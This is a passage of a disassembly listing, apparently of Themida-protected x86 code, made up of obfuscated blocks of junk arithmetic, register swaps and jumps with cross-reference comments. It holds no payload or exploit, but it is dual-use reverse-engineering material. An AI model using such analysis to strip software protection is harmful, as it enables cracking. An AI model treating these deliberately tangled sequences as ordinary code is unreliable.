loc_593BAB: ; CODE XREF: Themida_:005976B7j
or ebp, 2F1520F1h
jmp loc_599CB1
; ---------------------------------------------------------------------------
loc_593BB6: ; CODE XREF: Themida_:005977A7j
mov edx, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_592674
; ---------------------------------------------------------------------------
loc_593BC7: ; CODE XREF: Themida_:00590CE1j
mov [esp], edi
mov edi, 781C6A36h
sub ecx, 4E1715E9h
add ecx, edi
push ebx
mov ebx, 4E1715E9h
add ecx, ebx
pop ebx
pop edi
jmp loc_59F71A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A1999
loc_593BE6: ; CODE XREF: sub_5A1999-B330j
pop esp
push esi
mov esi, 3A8E4079h
add eax, esi
pop esi
sub eax, 659523DBh
jmp loc_59BC44
; END OF FUNCTION CHUNK FOR sub_5A1999
; ---------------------------------------------------------------------------
loc_593BFA: ; CODE XREF: Themida_:005A010Fj
xchg ebp, [esp]
jmp loc_599338
; ---------------------------------------------------------------------------
loc_593C02: ; CODE XREF: Themida_:0059B4E9j
pop dword ptr [esp]
pop esp
mov [esp], esi
xor [esp], edi
xor edi, [esp]
xor [esp], edi
not edi
xchg edi, [esp]
pop esi
xchg esi, [esp]
pop eax
push 549Bh
mov [esp], ecx
push 1
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5A0C55
; ---------------------------------------------------------------------------
loc_593C34: ; CODE XREF: Themida_:005A21E4j
pop ebp
add eax, 53D208E2h
add eax, ecx
sub eax, 53D208E2h
pop ecx
xchg eax, [esp]
mov esp, [esp]
xor [esp], eax
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_593C50: ; CODE XREF: Themida_:0059B4A0j
xor eax, 2A271356h
sub eax, 2DF87865h
add ebx, eax
pop eax
jmp loc_58E40A
; ---------------------------------------------------------------------------
loc_593C62: ; CODE XREF: Themida_:00599BB9j
push 29542EB4h
pop esi
xor esi, 1D6F468Ah
mov ebx, esi
pop esi
sub ecx, ebx
mov ebx, [esp]
jmp loc_596E37
; ---------------------------------------------------------------------------
loc_593C7B: ; CODE XREF: Themida_:005A007Aj
pop esi
jmp loc_5A231D
; ---------------------------------------------------------------------------
loc_593C81: ; CODE XREF: Themida_:0059477Dj
push dword ptr [esp]
mov eax, [esp]
jmp loc_5949A7
; ---------------------------------------------------------------------------
loc_593C8C: ; CODE XREF: Themida_:0059024Bj
pop edx
jmp loc_58F709
; ---------------------------------------------------------------------------
loc_593C92: ; CODE XREF: Themida_:00591220j
push ebx
jmp loc_59C301
; ---------------------------------------------------------------------------
loc_593C98: ; CODE XREF: Themida_:00595690j
push 537h
push 63C7h
mov [esp], esp
jmp loc_5A1523
; ---------------------------------------------------------------------------
loc_593CAA: ; CODE XREF: Themida_:0059F38Fj
sub ebx, ebp
pop ebp
sub ebp, 49825DEEh
add ebp, ebx
add ebp, 49825DEEh
pop ebx
jmp loc_59CBCB
; ---------------------------------------------------------------------------
loc_593CC1: ; CODE XREF: Themida_:0058F7A4j
mov edi, 74DE31ADh
shl edi, 2
dec edi
jmp loc_5963E3
; ---------------------------------------------------------------------------
loc_593CCF: ; CODE XREF: Themida_:005A1222j
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
jmp loc_598B4A
; ---------------------------------------------------------------------------
loc_593CE3: ; CODE XREF: Themida_:0059FAB2j
xor ebx, 77F877F8h
jmp loc_59581B
; ---------------------------------------------------------------------------
loc_593CEE: ; CODE XREF: Themida_:0059B96Cj
mov edx, [esp]
add esp, 4
push 76AFh
mov [esp], ebp
mov ebp, 2ED91D7Ch
sub ebp, 21CD338Ch
or ebp, 0C4F3AF3h
xor ebp, 52CF56DCh
neg ebp
jmp loc_590597
; ---------------------------------------------------------------------------
loc_593D1D: ; CODE XREF: Themida_:0059B684j
xor edi, [esp]
xor [esp], edi
jmp loc_59BF1C
; ---------------------------------------------------------------------------
loc_593D28: ; CODE XREF: Themida_:005971E3j
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
push 18DAh
mov [esp], ecx
push 70A2h
jmp loc_591143
; ---------------------------------------------------------------------------
loc_593D45: ; CODE XREF: Themida_:005A0D04j
pop esp
inc ebx
not ebx
or ebx, 220748Bh
jmp loc_598838
; ---------------------------------------------------------------------------
loc_593D54: ; CODE XREF: Themida_:00592FA7j
push esi
push 53DD2EA3h
mov esi, [esp]
add esp, 4
push ebx
mov ebx, 15BD685Eh
and ebx, 158356F1h
shl ebx, 3
shl ebx, 3
xor ebx, 5EBE0472h
jmp loc_591525
; ---------------------------------------------------------------------------
loc_593D7D: ; CODE XREF: Themida_:005903B3j
xor edx, ebp
jmp loc_59B5BD
; ---------------------------------------------------------------------------
loc_593D84: ; CODE XREF: Themida_:005966AAj
mov esp, [esp]
push ebp
push 4
pop ebp
jmp loc_58FB09
; ---------------------------------------------------------------------------
loc_593D93: ; CODE XREF: Themida_:005979FCj
pop ebx
sub esp, 4
mov [esp], esi
mov esi, 1B933471h
shr esi, 4
inc esi
shr esi, 7
push eax
mov eax, 0FFFFFFFFh
add esi, eax
mov eax, [esp]
add esp, 4
add esi, 1
add esi, 4CC9A50Ah
sub eax, esi
jmp loc_5A0235
; ---------------------------------------------------------------------------
loc_593DC7: ; CODE XREF: Themida_:005945BDj
sub esp, 4
mov [esp], ecx
mov ecx, 591B5EAAh
neg ecx
xor ecx, 840BAED9h
add esi, ecx
pop ecx
add edi, esi
pop esi
sub edi, 4
jmp loc_59E0EB
; ---------------------------------------------------------------------------
loc_593DEB: ; CODE XREF: Themida_:0059409Fj
mov ecx, [esp]
jmp loc_599057
; ---------------------------------------------------------------------------
loc_593DF3: ; CODE XREF: Themida_:005984C3j
shl edx, 6
push esi
mov esi, 1FA2ACDh
not esi
not esi
not esi
or esi, 6CB41105h
dec esi
jmp loc_590EF6
; ---------------------------------------------------------------------------
loc_593E0E: ; CODE XREF: Themida_:005A1EAAj
add ebx, ecx
pop ecx
mov eax, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_5A0E40
; ---------------------------------------------------------------------------
loc_593E2A: ; CODE XREF: Themida_:0058E405j
add esp, 4
jmp loc_5990B2
; ---------------------------------------------------------------------------
loc_593E32: ; CODE XREF: Themida_:00596D40j
add eax, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
jmp loc_5A1B5D
; ---------------------------------------------------------------------------
lodsb
jmp loc_59EA79
; ---------------------------------------------------------------------------
loc_593E4D: ; CODE XREF: Themida_:0059B401j
push edx
mov edx, 4953081Ah
mov ebp, edx
pop edx
mov esi, 0AC8E54FFh
sub esi, 415F7239h
sub esi, ebp
add esi, 415F7239h
pop ebp
add esi, 0E9639BFh
shr esi, 3
shl esi, 1
shl esi, 5
neg esi
xor esi, 6929E46Bh
add ebp, esi
pop esi
jmp loc_58F607
; ---------------------------------------------------------------------------
loc_593E88: ; CODE XREF: Themida_:0058FF95j
sub eax, 3B5C4EDEh
add eax, 9D501E4h
mov ebx, [esp]
add esp, 4
push 1010h
mov [esp], ebx
push 674C4999h
pop ebx
jmp loc_5A10C3
; ---------------------------------------------------------------------------
loc_593EAE: ; CODE XREF: Themida_:0059E30Aj
neg esi
add esi, 0D9C38AD0h
xor ebp, esi
mov esi, [esp]
add esp, 4
add ebp, 137A3875h
neg ebp
inc ebp
push 34A1h
mov [esp], edx
jmp loc_599426
; ---------------------------------------------------------------------------
loc_593ED7: ; CODE XREF: Themida_:005A2E68j
mov edi, [esp]
jmp loc_5A06F4
; ---------------------------------------------------------------------------
loc_593EDF: ; CODE XREF: Themida_:0059AC08j
mov edi, 370301C3h
jmp loc_5944DA
; ---------------------------------------------------------------------------
loc_593EE9: ; CODE XREF: Themida_:0059F66Ej
push dword ptr [esp]
jmp loc_5952C8
; ---------------------------------------------------------------------------
loc_593EF1: ; CODE XREF: Themida_:005988A1j
shr edi, 5
add edi, 51682687h
xor ecx, edi
pop edi
mov ebp, ecx
jmp loc_59169E
; ---------------------------------------------------------------------------
loc_593F04: ; DATA XREF: Themida_:0058E0C8o
mov ax, [esp]
push edx
push esp
pop edx
add edx, 4
push eax
mov eax, 4
jmp loc_59CB62
; ---------------------------------------------------------------------------
loc_593F1C: ; CODE XREF: Themida_:0058F421j
mov edi, 454415Dh
xor ebx, edi
pop edi
and ebx, 291D2514h
shr ebx, 8
add ebx, 16336272h
sub edx, ebx
jmp loc_59F00F
; ---------------------------------------------------------------------------
loc_593F3A: ; CODE XREF: Themida_:0059D814j
shl esi, 6
push ebx
mov ebx, 46AD6BDCh
sub esi, ebx
pop ebx
push edx
jmp loc_5A1B47
; ---------------------------------------------------------------------------
loc_593F4C: ; CODE XREF: Themida_:00594487j
push 2B32h
mov [esp], ebx
mov bl, 52h
shr bl, 7
shr bl, 6
and bl, 26h
push cx
mov ch, 9Ch
add ch, 0F8h
dec ch
sub ch, 87h
jmp loc_59A36C
; ---------------------------------------------------------------------------
loc_593F70: ; CODE XREF: Themida_:005A0C7Ej
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ecx
pop eax
pop ecx
push ebp
push ecx
push 13EF38CAh
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
shr ecx, 5
push edi
mov edi, 3CE46E1Bh
inc edi
jmp loc_598894
; ---------------------------------------------------------------------------
loc_593FB1: ; CODE XREF: Themida_:00593223j
sub ebx, 37D562BCh
add ebx, ebp
add ebx, 37D562BCh
mov ebp, [esp]
jmp loc_59D057
; ---------------------------------------------------------------------------
loc_593FC7: ; CODE XREF: Themida_:0058E5BCj
xor ecx, eax
xor eax, ecx
push 1A47h
mov [esp], ecx
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
not ebp
push 2112h
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
push dword ptr [esp]
pop ecx
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5A0BC9
; ---------------------------------------------------------------------------
loc_594000: ; CODE XREF: Themida_:00594747j
inc word ptr [esp]
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59400A: ; CODE XREF: Themida_:005934E8j
neg ebx
shl ebx, 1
sub ebx, 66F61480h
jmp loc_59D03A
; ---------------------------------------------------------------------------
loc_594019: ; CODE XREF: Themida_:0059A7F3j
not ebp
or ebp, 4B8504EAh
dec ebp
and ebp, 7257B0Fh
sub ebp, 857993F0h
add esi, ebp
pop ebp
add esi, edx
sub esi, 7DAB6E1Eh
push ecx
mov ecx, 134069Fh
push esi
mov esi, 442F5796h
add esi, 6974074Ah
jmp loc_59DA0C
; ---------------------------------------------------------------------------
loc_594050: ; CODE XREF: Themida_:0059DFB8j
sub ecx, 234270FCh
add ecx, ebx
add ecx, 234270FCh
add [ecx], eax
mov ecx, [esp]
add esp, 4
push dword ptr [esp]
pop ebx
jmp loc_593081
; ---------------------------------------------------------------------------
loc_594072: ; CODE XREF: Themida_:00599232j
mov esi, ebp
jmp loc_58E7AB
; ---------------------------------------------------------------------------
loc_594079: ; CODE XREF: Themida_:005940ABj
push ebx
mov ebx, 15C3AC14h
jmp loc_59CC9B
; ---------------------------------------------------------------------------
loc_594084: ; CODE XREF: Themida_:0059D64Bj
mov eax, 38C95DFCh
push ebp
jmp loc_59F133
; ---------------------------------------------------------------------------
loc_59408F: ; CODE XREF: Themida_:0059C040j
add ch, bl
pop ebx
not ch
or ch, 0Fh
shr ch, 5
sub ch, 30h
sub al, ch
jmp loc_593DEB
; ---------------------------------------------------------------------------
loc_5940A4: ; CODE XREF: Themida_:0058F1B8j
mov eax, 2B875830h
shr eax, 1
jmp loc_594079
; ---------------------------------------------------------------------------
loc_5940B0: ; CODE XREF: Themida_:0059F160j
mov ebp, 12DE4E29h
xor ebp, 7F696BCAh
add ebp, 9543598Dh
sub ebp, 278158F3h
shl ebp, 7
xor ebp, 3EB690Ah
xchg ecx, ebp
push ecx
not dword ptr [esp]
pop ecx
xchg ecx, ebp
inc ebp
xor ebp, 4087A872h
jmp loc_590BE9
; ---------------------------------------------------------------------------
loc_5940E5: ; CODE XREF: Themida_:0059A164j
add esp, 4
push ebp
jmp loc_59202A
; ---------------------------------------------------------------------------
loc_5940EE: ; CODE XREF: Themida_:0058F712j
mov [esp], ebx
push esp
pop ebx
push edi
mov edi, 4
add ebx, edi
pop edi
add ebx, 2
xchg ebx, [esp]
pop esp
push 4938h
mov [esp], edx
mov dh, 6
push ecx
mov cl, 0E4h
jmp loc_59BAB8
; ---------------------------------------------------------------------------
loc_594118: ; CODE XREF: Themida_:00596CCBj
shr esi, 3
jmp loc_5964FE
; ---------------------------------------------------------------------------
loc_594120: ; CODE XREF: Themida_:00594A6Fj
push 13AC2CA0h
jmp loc_59BE40
; ---------------------------------------------------------------------------
loc_59412A: ; CODE XREF: Themida_:00595271j
xchg eax, [esp]
pop esp
mov [esp], ecx
push esp
mov ecx, [esp]
push edi
mov edi, esp
jmp loc_58F861
; ---------------------------------------------------------------------------
mov cx, [esp]
push edi
push esp
jmp loc_58E969
; ---------------------------------------------------------------------------
loc_594148: ; CODE XREF: Themida_:00591287j
pop esp
push 53FFh
mov [esp], ebx
push 7B03h
mov [esp], ecx
push 5C5F7AD0h
pop ecx
sub ecx, 4F4F1692h
mov ebx, ecx
pop ecx
shr ebx, 3
sub ebx, 1A20C85h
jmp loc_59525A
; ---------------------------------------------------------------------------
loc_594176: ; CODE XREF: Themida_:00598F7Bj
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ecx
mov ecx, 36781528h
push 488Bh
mov [esp], edi
push 3DB83209h
pop edi
sub edi, 449C6CD2h
push 2815h
mov [esp], ecx
jmp loc_59CADD
; ---------------------------------------------------------------------------
loc_5941A9: ; DATA XREF: Themida_:0058E248o
mov cx, [esp]
sub esp, 4
jmp loc_58EB7E
; ---------------------------------------------------------------------------
loc_5941B8: ; CODE XREF: Themida_:0059CDA3j
pop edx
sub esi, 0F4499C8h
jmp loc_5A0A9A
; ---------------------------------------------------------------------------
loc_5941C4: ; CODE XREF: Themida_:005A29C0j
xor esi, 7C892577h
add edx, 70E17412h
add edx, esi
sub edx, 70E17412h
jmp loc_59F11D
; ---------------------------------------------------------------------------
loc_5941DD: ; CODE XREF: Themida_:0059C5F1j
xor ebp, 6A3B3696h
jmp loc_590FA4
; ---------------------------------------------------------------------------
loc_5941E8: ; CODE XREF: Themida_:0058F49Aj
pop edx
sub esi, 3D16D73Eh
add eax, esi
jmp loc_58F216
; ---------------------------------------------------------------------------
loc_5941F6: ; CODE XREF: Themida_:005993FAj
xor edx, 92561A10h
mov ecx, edx
pop edx
add ecx, 1
and ecx, 17706610h
jmp loc_59EAA9
; ---------------------------------------------------------------------------
loc_594210: ; CODE XREF: Themida_:00592EF9j
not ebp
not ebp
sub ebp, 9F71F8C8h
jmp loc_59EF6D
; ---------------------------------------------------------------------------
loc_59421F: ; CODE XREF: Themida_:005975ACj
mov edx, 58A80E18h
jmp loc_595EAE
; ---------------------------------------------------------------------------
loc_594229: ; CODE XREF: Themida_:0059DD12j
sub edx, 0EBD9BFA8h
jmp loc_59D268
; ---------------------------------------------------------------------------
loc_594234: ; CODE XREF: Themida_:0059ADC0j
push 6C1A1536h
jmp loc_59594E
; ---------------------------------------------------------------------------
loc_59423E: ; CODE XREF: Themida_:0059C7C6j
pop esp
push 2BB7h
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_594C33
; ---------------------------------------------------------------------------
loc_59425C: ; CODE XREF: Themida_:0058EBE2j
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
mov esp, [esp]
mov [esp], esi
push ebp
push 0AB24740h
jmp loc_595610
; ---------------------------------------------------------------------------
loc_59427B: ; CODE XREF: Themida_:005990E2j
mov esi, 83C2D69h
mov eax, 0B40BE917h
xor eax, esi
jmp loc_59D383
; =============== S U B R O U T I N E =======================================
sub_59428C proc near ; DATA XREF: Themida_:0058E128o
neg word ptr [esp+0]
pushf
jmp loc_58E353
sub_59428C endp
; ---------------------------------------------------------------------------
loc_594296: ; CODE XREF: Themida_:0059DD77j
sub eax, 7D351E8Ah
xor eax, edx
xor edx, eax
xor eax, edx
dec edx
not edx
xchg eax, edx
or eax, 1D455F78h
inc eax
jmp loc_5A03FD
; ---------------------------------------------------------------------------
loc_5942B0: ; CODE XREF: Themida_:0059D09Dj
push ebx
mov ebx, 4
add ecx, ebx
pop ebx
xchg ecx, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5982C3
; ---------------------------------------------------------------------------
loc_5942C8: ; CODE XREF: Themida_:0059D66Dj
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], edi
push 7F5Ch
mov [esp], ebp
push 67776329h
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_59A703
; ---------------------------------------------------------------------------
loc_594304: ; CODE XREF: Themida_:00594DC2j
add dword ptr [esp+4], 22C377E4h
add dword ptr [esp+4], 65A57404h
sub dword ptr [esp+4], 0D275E55h
push ebx
mov ebx, 32A44455h
add [esp+8], ebx
pop ebx
pop ebp
mov eax, [esp]
add esp, 4
push 1FF7h
mov [esp], edx
mov edx, 0F6D51DEh
jmp loc_592ED5
; ---------------------------------------------------------------------------
loc_594340: ; CODE XREF: Themida_:0059CEB7j
push eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop eax
add eax, 4
sub eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
mov [esp], ecx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_591DD9
; ---------------------------------------------------------------------------
loc_594373: ; CODE XREF: Themida_:00593996j
add esp, 4
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
xor [esp], ax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59438A: ; CODE XREF: Themida_:0059369Dj
push 4718h
mov [esp], ebp
push 1E33h
mov [esp], esi
mov esi, 1A45F4Eh
push ebx
mov ebx, 3EDF5F86h
neg ebx
inc ebx
xor ebx, 12300F0Ch
not ebx
xor ebx, 2D4B0FC2h
add esi, 665258B3h
sub esi, ebx
sub esi, 665258B3h
mov ebx, [esp]
sub esp, 4
mov [esp], edx
jmp loc_598C78
; ---------------------------------------------------------------------------
loc_5943D5: ; CODE XREF: Themida_:0058FAF4j
push dword ptr [esp]
pop edx
add esp, 4
sub esp, 4
mov [esp], ebx
mov bh, 65h
sub esp, 4
mov [esp], eax
mov ah, 0D2h
jmp loc_59D577
; ---------------------------------------------------------------------------
loc_5943F4: ; CODE XREF: Themida_:005A27BDj
mov eax, ebp
mov esi, eax
pop eax
jmp loc_5911C1
; ---------------------------------------------------------------------------
loc_5943FE: ; CODE XREF: Themida_:0059FBE3j
add edi, 317E74FDh
not edi
jmp loc_59789B
; ---------------------------------------------------------------------------
loc_59440B: ; CODE XREF: Themida_:005A1FE5j
pop edi
add edx, 0FEA14CBh
jmp loc_59B18E
; ---------------------------------------------------------------------------
loc_594417: ; CODE XREF: Themida_:0058E985j
sub ch, 0EEh
jmp loc_59E124
; ---------------------------------------------------------------------------
loc_59441F: ; CODE XREF: Themida_:0058EAAFj
add eax, 0EE23E87h
jmp loc_5A25B7
; ---------------------------------------------------------------------------
loc_594429: ; CODE XREF: Themida_:0059F01Aj
mov ecx, 67D396Eh
add edx, ecx
pop ecx
sub esp, 4
mov [esp], edi
jmp loc_595B18
; ---------------------------------------------------------------------------
loc_59443F: ; CODE XREF: Themida_:005912AEj
add edi, 0FFFFFFFFh
or edi, 3370236Ch
jmp loc_5978DA
; ---------------------------------------------------------------------------
loc_59444D: ; CODE XREF: Themida_:005A1BC7j
mov edx, 1C44343Ah
jmp loc_594C7C
; ---------------------------------------------------------------------------
loc_594457: ; CODE XREF: Themida_:0059D035j
xor dl, cl
neg cl
jmp loc_59DF87
; ---------------------------------------------------------------------------
loc_594460: ; CODE XREF: Themida_:00591F5Aj
pop esi
jmp loc_59952B
; ---------------------------------------------------------------------------
loc_594466: ; CODE XREF: Themida_:0058F0A4j
or ebx, 47535981h
sub ebx, 660A01C2h
jmp loc_5988CC
; ---------------------------------------------------------------------------
loc_594477: ; CODE XREF: Themida_:0058E611j
add [esp], al
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_594480: ; CODE XREF: Themida_:0058F6C1j
sub al, bl
sub al, 0F2h
pop ebx
pop cx
jmp loc_593F4C
; ---------------------------------------------------------------------------
loc_59448C: ; CODE XREF: Themida_:00590AE3j
add esp, 4
jmp loc_59CBA8
; ---------------------------------------------------------------------------
loc_594497: ; CODE XREF: Themida_:005A286Ej
add eax, esi
jmp loc_59E8E7
; ---------------------------------------------------------------------------
loc_59449E: ; CODE XREF: Themida_:005944E5j
sub ebx, 96D08B9Ch
add esi, ebx
jmp loc_5921F4
; ---------------------------------------------------------------------------
loc_5944AB: ; CODE XREF: Themida_:0059DC2Ej
mov eax, edi
push edi
jmp loc_58F8A6
; ---------------------------------------------------------------------------
loc_5944B3: ; CODE XREF: Themida_:0059208Cj
and ebx, edx
push dword ptr [esp]
pop edx
push edi
jmp loc_59F14F
; ---------------------------------------------------------------------------
loc_5944BF: ; CODE XREF: Themida_:005A2B0Ej
push 1
pop edi
push 400h
mov [esp], edi
add dword ptr [esp], 56254B41h
pop eax
jmp loc_5994F7
; ---------------------------------------------------------------------------
loc_5944DA: ; CODE XREF: Themida_:00593EE4j
or ebx, edi
mov edi, [esp]
add esp, 4
jmp loc_59449E
; ---------------------------------------------------------------------------
loc_5944EA: ; CODE XREF: Themida_:005A03CEj
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
xor edi, 2B0672EBh
add edi, 157F7719h
sub edi, 632647EAh
jmp loc_59C37A
; ---------------------------------------------------------------------------
loc_594516: ; CODE XREF: Themida_:005A203Dj
pop ecx
jmp loc_59CF9C
; ---------------------------------------------------------------------------
loc_59451C: ; CODE XREF: Themida_:005998D1j
pop esp
push edi
jmp loc_597D50
; ---------------------------------------------------------------------------
loc_594523: ; CODE XREF: Themida_:00599CC4j
mov eax, [esp]
add esp, 4
push edx
push esi
push 35A93486h
pop esi
sub esi, 35A93484h
mov edx, esi
mov esi, [esp]
add esp, 4
jmp loc_5A1B1C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_594547: ; CODE XREF: sub_59DA2F-13BAj
pop edi
push ebx
mov ebx, 317B6999h
xor ebx, 3D44AA1h
jmp loc_5A195F
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_594559: ; CODE XREF: Themida_:00594D07j
sub esp, 4
mov [esp], ebp
mov ebp, 69E24734h
dec ebp
not ebp
and ebp, 2FD268E0h
add ebp, 53B03DF0h
sub esp, 4
mov [esp], ebp
jmp loc_59C4BD
; ---------------------------------------------------------------------------
loc_594581: ; CODE XREF: Themida_:00596D35j
not esi
push ebp
mov ebp, 1B114F6Ah
sub esi, ebp
pop ebp
push edi
jmp loc_596237
; ---------------------------------------------------------------------------
loc_594592: ; CODE XREF: Themida_:0059A94Ej
and eax, ebp
pop ebp
add eax, 31901AFAh
sub eax, 6F7235F3h
push edi
mov edi, 2BAB25B0h
jmp loc_59C333
; ---------------------------------------------------------------------------
loc_5945AA: ; CODE XREF: Themida_:0059CF53j
pop ecx
jmp loc_59D59D
; ---------------------------------------------------------------------------
loc_5945B0: ; CODE XREF: Themida_:00596A37j
mov [esp], edx
push eax
mov al, 0EFh
push ecx
jmp loc_59F491
; ---------------------------------------------------------------------------
loc_5945BC: ; CODE XREF: Themida_:005A0524j
pop ebp
jmp loc_593DC7
; ---------------------------------------------------------------------------
loc_5945C2: ; CODE XREF: Themida_:0059CAB7j
add ebp, edx
jmp loc_594CE4
; ---------------------------------------------------------------------------
loc_5945C9: ; CODE XREF: Themida_:0059B0C0j
push 6FD5325Bh
jmp loc_59B90B
; ---------------------------------------------------------------------------
loc_5945D3: ; CODE XREF: Themida_:0059A9BEj
pop esi
jmp loc_595D2F
; ---------------------------------------------------------------------------
loc_5945D9: ; CODE XREF: Themida_:0059779Bj
not dword ptr [esp]
pop ebx
sub ebx, 76ED3D2Fh
jmp loc_59EB7E
; ---------------------------------------------------------------------------
loc_5945E8: ; CODE XREF: Themida_:00592AABj
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
add esp, 4
jmp loc_59B478
; ---------------------------------------------------------------------------
loc_5945FE: ; CODE XREF: Themida_:005959E4j
mov ch, 24h
shr ch, 4
not ch
add ch, 1Dh
shl ch, 3
push dx
mov dh, 20h
sub ch, dh
jmp loc_5A3229
; ---------------------------------------------------------------------------
loc_594616: ; CODE XREF: Themida_:005A1D58j
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
push edi
push 4
pop edi
jmp loc_59E26E
; ---------------------------------------------------------------------------
loc_594631: ; CODE XREF: Themida_:005903A7j
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_594636: ; CODE XREF: Themida_:0059B2BAj
jmp loc_58E353
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push ebx
mov ebx, esp
sub esp, 4
mov [esp], ebp
mov ebp, 41841A38h
jmp loc_59EF79
; ---------------------------------------------------------------------------
loc_594655: ; CODE XREF: Themida_:005A237Dj
pop esi
add edi, 4
sub esp, 4
jmp loc_5924EC
; ---------------------------------------------------------------------------
loc_594667: ; CODE XREF: Themida_:0058FD54j
pop edx
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push 6EF4h
mov [esp], edx
mov dh, 1Bh
push eax
mov al, 9
dec al
shr al, 4
dec al
add al, 9Bh
sub dh, al
pop eax
or dh, 50h
xor dh, 7Ch
sub bl, dh
mov edx, [esp]
add esp, 4
push 33E0h
mov [esp], edx
jmp loc_5909ED
; ---------------------------------------------------------------------------
loc_5946B2: ; CODE XREF: Themida_:00593511j
mov ecx, 14F86816h
sub edi, 6588556Fh
sub edi, ecx
add edi, 6588556Fh
pop ecx
push eax
mov eax, 24672D72h
push ebx
jmp loc_58FCEF
; ---------------------------------------------------------------------------
loc_5946D2: ; CODE XREF: Themida_:005966E7j
shl edi, 7
add edi, 0B1E09CCCh
mov eax, edi
pop edi
add ebx, eax
mov eax, [esp]
jmp loc_5A15B3
; ---------------------------------------------------------------------------
loc_5946E8: ; CODE XREF: Themida_:005A238Cj
mov eax, 1450358Bh
sub esp, 4
mov [esp], esi
jmp loc_59770B
; ---------------------------------------------------------------------------
loc_5946FB: ; CODE XREF: Themida_:00592A6Fj
add eax, edi
pop edi
add eax, 6110580Fh
push dword ptr [esp]
push dword ptr [esp]
pop edi
jmp loc_599AB0
; ---------------------------------------------------------------------------
loc_59470F: ; CODE XREF: Themida_:0058ED14j
mov ebx, esp
add ebx, 4
push eax
mov eax, 260D05DFh
add eax, 0D9F2FA25h
add ebx, eax
pop eax
sub esp, 4
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
jmp loc_59BD9B
; ---------------------------------------------------------------------------
loc_594735: ; CODE XREF: Themida_:0058F19Aj
mov [esp], ebp
mov ebp, esp
push ebx
sub esp, 4
jmp loc_5965B8
; ---------------------------------------------------------------------------
loc_594743: ; CODE XREF: Themida_:005A0D63j
xor edx, [esp]
pop esp
jmp loc_594000
; ---------------------------------------------------------------------------
loc_59474C: ; CODE XREF: Themida_:005958F1j
mov [esp], ebx
mov ebx, edx
push esi
jmp loc_592C95
; ---------------------------------------------------------------------------
loc_594757: ; CODE XREF: Themida_:005958A6j
shr ch, 8
and ch, 0C3h
neg ch
not ch
push bx
mov bl, 22h
push ebx
mov bl, 0C0h
jmp loc_59EE7B
; ---------------------------------------------------------------------------
loc_59476D: ; CODE XREF: Themida_:005A09B0j
pop eax
xchg ebp, [esp]
pop esp
mov [esp], eax
mov eax, 2D1807F0h
mov [edi+24h], eax
jmp loc_593C81
; ---------------------------------------------------------------------------
loc_594782: ; CODE XREF: Themida_:00599634j
sub [esp+4], ebx
mov ebx, [esp]
add esp, 4
jmp loc_59AFFC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59233E
loc_594794: ; CODE XREF: sub_59233E+4661j
xchg ebp, [esp-4+arg_0]
pop esp
jmp loc_597D43
; END OF FUNCTION CHUNK FOR sub_59233E
; ---------------------------------------------------------------------------
loc_59479D: ; CODE XREF: Themida_:005A03F8j
mov cl, 46h
jmp loc_59F5C5
; ---------------------------------------------------------------------------
loc_5947A4: ; CODE XREF: Themida_:00591502j
mov ecx, 3DAD657Bh
jmp loc_58FDFA
; ---------------------------------------------------------------------------
loc_5947AE: ; CODE XREF: Themida_:0059E505j
pop esi
add edi, edx
push ebp
mov ebp, 48996187h
xor ebp, 605B3C29h
jmp loc_59E04A
; ---------------------------------------------------------------------------
loc_5947C2: ; CODE XREF: Themida_:0059C007j
pop esi
sub esp, 4
jmp loc_5956B5
; ---------------------------------------------------------------------------
loc_5947CE: ; CODE XREF: Themida_:00595900j
movzx eax, ax
push small 6FF8h
mov [esp], ax
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5947DE: ; CODE XREF: Themida_:005A200Dj
add edi, 4
xchg edi, [esp]
mov esp, [esp]
jmp loc_59E652
; ---------------------------------------------------------------------------
loc_5947EF: ; CODE XREF: Themida_:0059E80Fj
push 49CCh
mov [esp], edx
push 361B7606h
mov edx, [esp]
add esp, 4
